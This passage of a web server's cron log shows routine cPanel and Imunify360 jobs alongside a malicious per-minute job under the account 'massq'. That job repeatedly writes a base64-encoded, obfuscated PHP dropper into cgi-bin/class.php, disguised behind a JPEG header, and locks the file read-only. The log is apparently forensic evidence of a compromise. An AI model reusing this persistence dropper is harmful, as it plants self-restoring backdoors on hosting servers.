tSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:41:01 server CROND[30535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:41:01 server CROND[30536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:41:01 server CROND[30537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:42:01 server CROND[30912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:42:01 server CROND[30913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:42:01 server CROND[30915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:42:01 server CROND[30914]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:43:01 server CROND[31386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:43:01 server CROND[31387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:43:01 server CROND[31388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:44:01 server CROND[31760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:44:01 server CROND[31761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:44:01 server CROND[31763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:45:01 server CROND[32132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:45:01 server CROND[32134]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:45:01 server CROND[32135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:45:01 server CROND[32138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:45:01 server CROND[32137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:45:01 server CROND[32139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:45:01 server CROND[32140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:46:01 server CROND[848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:46:01 server CROND[849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:46:01 server CROND[850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:47:01 server CROND[1306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:47:01 server CROND[1307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:47:01 server CROND[1308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:48:01 server CROND[1697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:48:01 server CROND[1699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:48:01 server CROND[1707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:49:01 server CROND[2207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:49:01 server CROND[2208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:49:01 server CROND[2209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:50:01 server CROND[2615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:50:01 server CROND[2619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:50:01 server CROND[2621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:50:01 server CROND[2622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:50:01 server CROND[2624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:50:01 server CROND[2627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:50:01 server CROND[2628]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:50:01 server CROND[2633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:50:01 server CROND[2625]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:51:01 server CROND[3477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:51:01 server CROND[3478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:51:01 server CROND[3479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:52:01 server CROND[3864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:52:01 server CROND[3865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:52:01 server CROND[3867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:53:01 server CROND[4244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
